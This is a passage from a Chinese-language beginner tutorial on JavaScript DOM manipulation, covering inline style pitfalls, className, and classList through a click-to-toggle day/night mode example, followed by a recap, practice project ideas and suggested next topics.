  2. 坑 2:赋值样式时忘记加单位,导致样式不生效 很多新手会写div.style.width = 200;,忘记加 px,导致样式不生效。
    • 解决方案:除了 z-index、opacity、font-weight 这些无单位的属性,其他所有 CSS 属性,赋值时都必须带单位(px、%、em、rem 等)。
  3. 坑 3:用 style 读取非行内样式,得到空字符串 很多新手把样式写在 CSS 文件里,然后用element.style读取,得到空字符串,以为代码出了问题。
    • 解决方案:要么把样式写在行内,要么用window.getComputedStyle()读取最终样式。
  4. 坑 4:频繁修改 style 属性,导致页面卡顿 很多新手会在循环里,频繁修改多个 style 属性,导致浏览器每次修改都要重新计算布局和渲染,触发多次重排重绘,页面卡顿。
    • 解决方案:要么用 cssText 一次性设置多个样式,要么用 className 切换类名,只触发一次重排重绘。

4.3 类名样式操作:element.className 全维度极致解析

4.3.1 className 的底层本质:HTML class 属性的映射

我们之前说,HTML 里的 class 属性,在 JS 里对应的是 className 属性,现在我们把它的底层逻辑讲透。

class 是 HTML 里的核心属性,它的作用是给元素分组,给同一组元素设置相同的 CSS 样式。CSS 里的类选择器,就是通过 class 属性来匹配元素,给元素应用样式的。

浏览器在解析 HTML 的 class 属性时,会把它映射成元素对象的className属性,这个属性的值是一个字符串,就是 HTML 标签里 class 属性的完整内容,多个类名之间用空格分隔。

比如 HTML 里写了<div class="container light"></div>,那么div.className的值就是字符串"container light"。

当你用 JS 修改element.className的值时,浏览器会立刻同步更新 HTML 标签里的 class 属性,然后重新匹配 CSS 选择器,重新计算元素的样式,重新渲染页面。这就是类名样式操作的底层原理。

4.3.2 逐行代码解析:夜间模式切换案例

我们用之前的夜间模式切换案例,做逐行逐字符的极致解析,讲透每一个细节。

案例核心代码
复制代码
<div class="container light">
这是一大段话. <br>
这是一大段话. <br>
这是一大段话. <br>
这是一大段话. <br>
</div>
<style>
* {
margin: 0;
padding: 0;
}
html,
body {
width: 100%;
height: 100%;
}
.container {
width: 100%;
height: 100%;
}
.light {
background-color: #f3f3f3;
color: #333;
}
.dark {
background-color: #333;
color: #f3f3f3;
}
</style>
<script>
var div = document.querySelector('div');
div.onclick = function () {
console.log(div.className);
if (div.className.indexOf('light') != -1) {
div.className = 'container dark';
} else {
div.className = 'container light';
}
}
</script>
逐行逐字符全解析
  1. HTML 部分:<div class="container light">...</div>
    • 我们给 div 元素,设置了两个类名:container和light,多个类名之间用空格分隔。
    • container类:负责布局样式,让 div 占满整个屏幕。
    • light类:负责日间模式的颜色样式,浅灰色背景,深灰色文字。
  2. CSS 部分解析
    • *选择器:通配符选择器,匹配页面上所有元素,设置 margin 和 padding 为 0,清除浏览器的默认样式。
    • html, body选择器:设置 html 和 body 的宽高为 100%,让它们占满整个浏览器窗口,这样里面的 container 才能继承高度,占满全屏。
    • .container类选择器:设置宽高 100%,继承父元素的宽高,占满全屏。
    • .light类选择器 :日间模式的颜色样式,背景色#f3f3f3(浅灰色),文字色#333(深灰色)。
    • .dark类选择器 :夜间模式的颜色样式,背景色#333(深灰色),文字色#f3f3f3(浅灰色)。
  3. **JS 第一行:var div = document.querySelector('div');**获取 div 元素对象,存到 div 变量里。
  4. **JS 第二行:div.onclick = function () { ... }**给 div 注册点击事件,点击页面任意位置(因为 div 占满了全屏),就执行函数里的代码,切换日间 / 夜间模式。
  5. JS 第三行:console.log(div.className); 打印 div 当前的 className 值,方便我们调试,查看当前的类名。初始时,会打印"container light"。
  6. JS 第四行:if (div.className.indexOf('light') != -1) { 这是 if 条件判断,我们讲透每一个部分:
    • div.className:当前的类名字符串,初始是"container light"。
    • .indexOf('light'):字符串的 indexOf 方法,从左往右查找,看字符串里有没有包含'light'这个子串。如果找到了,返回它的起始索引;如果没找到,返回 - 1。
    • != -1:不等于 - 1,也就是找到了'light'子串,说明当前是日间模式,if 条件成立。
  7. JS 第五行:div.className = 'container dark'; 当 if 条件成立时,执行这一行代码。把 div 的 className,重新赋值为'container dark'。
    • 核心注意事项:给 className 直接赋值,会完全覆盖 原来的所有类名。所以我们必须把container类也带上,因为它负责布局样式,如果只写'dark',就会把container类覆盖掉,布局样式就没了,div 就不会占满全屏了。
    • 赋值之后,浏览器会做这几件事:1. 更新 div 的 class 属性,变成class="container dark";2. 重新匹配 CSS 选择器,div 现在会匹配.container和.dark类,不再匹配.light类;3. 重新计算元素的样式,把背景色和文字色换成.dark类里的样式;4. 重新渲染页面,页面就变成了夜间模式。
  8. JS 第六行:} else { else 分支,也就是 if 条件不成立的时候,也就是 className 里没有'light',说明当前是夜间模式,执行 else 里的代码。
  9. JS 第七行:div.className = 'container light'; 把 div 的 className 重新赋值为'container light',换回日间模式的类名,页面就变回日间模式。
  10. JS 第八、九行:}:闭合 else 分支和事件处理函数。
4.3.3 className 的弊端与进阶方案:classList API

className 虽然好用,但它有一个很明显的弊端:当元素有多个类名的时候,想要添加、删除、切换某一个类名,非常麻烦,需要自己拼接字符串,很容易出错。

比如,你想给 div 添加一个active类,用 className 的话,需要写div.className += ' active';,还要注意前面加空格;你想删除active类,需要用 replace 方法替换字符串,非常麻烦。

所以,ES6 给我们提供了一个更强大、更方便的 API:element.classList,它专门用来操作元素的类名,提供了几个非常好用的方法:

  1. classList.add('类名') :给元素添加一个类名,不会影响其他已有的类名。
    • 示例:div.classList.add('dark');,给 div 添加 dark 类,container 类会保留。
  2. classList.remove('类名') :删除元素的一个类名,其他类名不受影响。
    • 示例:div.classList.remove('light');,删除 light 类,container 类保留。
  3. classList.toggle('类名'):切换类名,如果元素有这个类名,就删除它;如果没有,就添加它。这是切换状态最方便的方法。
  4. classList.contains('类名'):判断元素有没有这个类名,返回 true 或 false。

用 classList 重写我们的夜间模式切换代码,会变得非常简洁:

复制代码
var div = document.querySelector('div');
div.onclick = function () {
// 直接切换dark类,有就删,没有就加
div.classList.toggle('dark');
// 同时切换light类
div.classList.toggle('light');
}

不用再做 if 判断,不用再拼接字符串,不用再担心覆盖掉 container 类,代码变得非常简洁优雅。

结语:从 "理解" 到 "精通",你只差无数次的 "动手调试"

恭喜你!看到这里,你已经把 JavaScript 操作 DOM 元素的核心知识,从底层浏览器原理到每一行代码的执行逻辑,全部彻底过了一遍。

我们再一起把这篇内容的核心脉络串起来,帮你把知识牢牢钉在脑子里:

  1. 根上的认知:DOM 不是你的 HTML 代码,而是浏览器在内存里生成的 "JS 对象树"。我们所有的操作,本质上都是在修改这棵树里的对象,然后浏览器自动同步更新页面渲染。
  2. 内容操作 :
    • 纯文本用 innerText,安全且只关心用户看到的文字;
    • 要解析 HTML 结构用 innerHTML,强大但要注意 XSS 安全风险;
    • 表单元素的内容,永远用 value,且永远记得它是字符串类型!
  3. 属性操作 :
    • 标准属性直接用 元素.属性名,简单方便;
    • 自定义属性用 setAttribute/getAttribute,灵活通用。
  4. 表单操作 :
    • value 是核心,记得转数字;
    • disabled 控制状态,checked/selected 控制选择,永远赋值布尔值。
  5. 样式操作 :
    • 改一两个样式用 style,记得转驼峰、加单位;
    • 改多个样式,永远优先用 classList 切换 CSS 类,这是最优雅、最符合规范的方式。

最重要的事:立刻动手写代码,在 Bug 里成长

DOM 操作是前端开发里最 "实战" 的部分,不是看会的,是 "调" 会的。哪怕你把这篇文章背下来,只要不动手写代码,你永远学不会 DOM。

你肯定会遇到这些情况:

  • 获取元素返回 null ------ 检查 JS 代码是不是写在了 HTML 元素前面?
  • 样式不生效 ------ 检查是不是忘记加单位?是不是 CSS 优先级不够?
  • 点击事件不触发 ------ 检查是不是给元素列表绑定了事件,而不是给单个元素绑定?
  • 数学运算变成了字符串拼接 ------ 是不是忘记把 value 转成数字了?

这些 Bug 太正常了!每一个前端开发者都是在无数个这样的 Bug 里摸爬滚打成长起来的。遇到 Bug 不要慌,打开浏览器控制台,看报错信息,用 console.log() 打印变量,一步一步调试,你会发现解决 Bug 的过程,才是你进步最快的时候。

给你几个入门级的练手小项目,现在就打开编辑器,动手写:

  1. 点击切换图片:一张图片,点击一下切换成另一张,再点一下切回来。
  2. 简易计数器:一个显示数字的 div,两个按钮,一个 "+1",一个 "-1",点击按钮修改数字。
  3. 输入框实时显示:一个输入框,下面一个 div,用户在输入框里打字,div 里实时显示输入的内容。
  4. 全选反选:我们案例里的全选功能,自己从零写一遍,不要看代码。
  5. Tab 栏切换:几个 Tab 标题,点击不同的标题,下面显示对应的内容,隐藏其他内容。

后续的学习方向

搞定了 DOM 基础操作,你已经正式踏入了前端开发的大门,能够写出很多有交互的小页面了。接下来,你可以继续探索这些方向:

  1. DOM 进阶 :
    • 事件冒泡与事件委托(这是优化性能、处理动态元素的神器);
    • 动态创建与删除节点(createElement、appendChild、removeChild);
    • DocumentFragment 优化批量插入性能;
    • 虚拟 DOM 的思想(理解现代前端框架的底层基础)。
  2. BOM :
    • window 对象、location(页面跳转、URL 操作)、history(历史记录);
    • localStorage 和 sessionStorage(浏览器本地存储);
    • setTimeout 和 setInterval(定时器)。
  3. AJAX/Fetch :
    • 让网页不刷新就能和服务器交换数据,这是现代 Web 应用的核心。
  4. 前端框架 :
    • 当你能用原生 JS 写出一个复杂的 TodoList 或者小博客系统后,你会发现原生 JS 写复杂交互太繁琐了,这时候去学 Vue、React 等框架,你会深刻理解框架到底解决了什么痛点,而不是只会用框架的 API。

最后想说的话

前端开发是一个 "反馈感" 极强的领域,你写的每一行代码,都能立刻在页面上看到效果,这种正向反馈是非常美妙的。

不要怕写得烂,不要怕代码有 Bug,每一个大佬都是从 "烂代码" 开始的。保持好奇心,多动手,多思考,多查 MDN 文档,你会发现前端的世界越来越精彩,越来越有意思。

现在,关掉这篇文章,打开编辑器,开始写你的第一行 DOM 操作代码吧!我们在更精彩的前端世界里见。

相关推荐
福兮说3 小时前
JSON 格式正确,数据就可靠吗?我用一份自编配置检查类型与空值
java·前端·json
益莱储中国3 小时前
深度解析:RF 实验室从 5G迈向 6G 的过程中保持技术领先与设备升级的路径
开发语言·php
benchmark_cc4 小时前
Python 量化系统如何设计统一的数据访问接口:从策略解耦到数据层架构
开发语言·python·数据分析·pandas·量化交易·股票数据·quantdash
程序员老赵5 小时前
Docker 部署青龙面板:轻松搭建定时任务管理平台
前端·docker·开源
Swot5 小时前
Asciidoctor 公式数字下标错位问题:原因分析与解决方案
前端
Swot5 小时前
leo-editor 中将 Markdown 内容转成 asciidoc 格式
前端
const_qiu5 小时前
第四章 00:开篇 —— 从「会聊天」到「记得住、会干活、能协作」
java·开发语言·人工智能·python
Wang's Blog5 小时前
Java 项目实战: 交友项目 - 个人资料管理的更新接口实现与坑
java·开发语言·交友
狒狒AI5 小时前
Remotion / GSAP+Three / HyperFrames / Skia 四栈实测:代码渲染知识视频的选栈方法(附开源技能)
前端·人工智能·aigc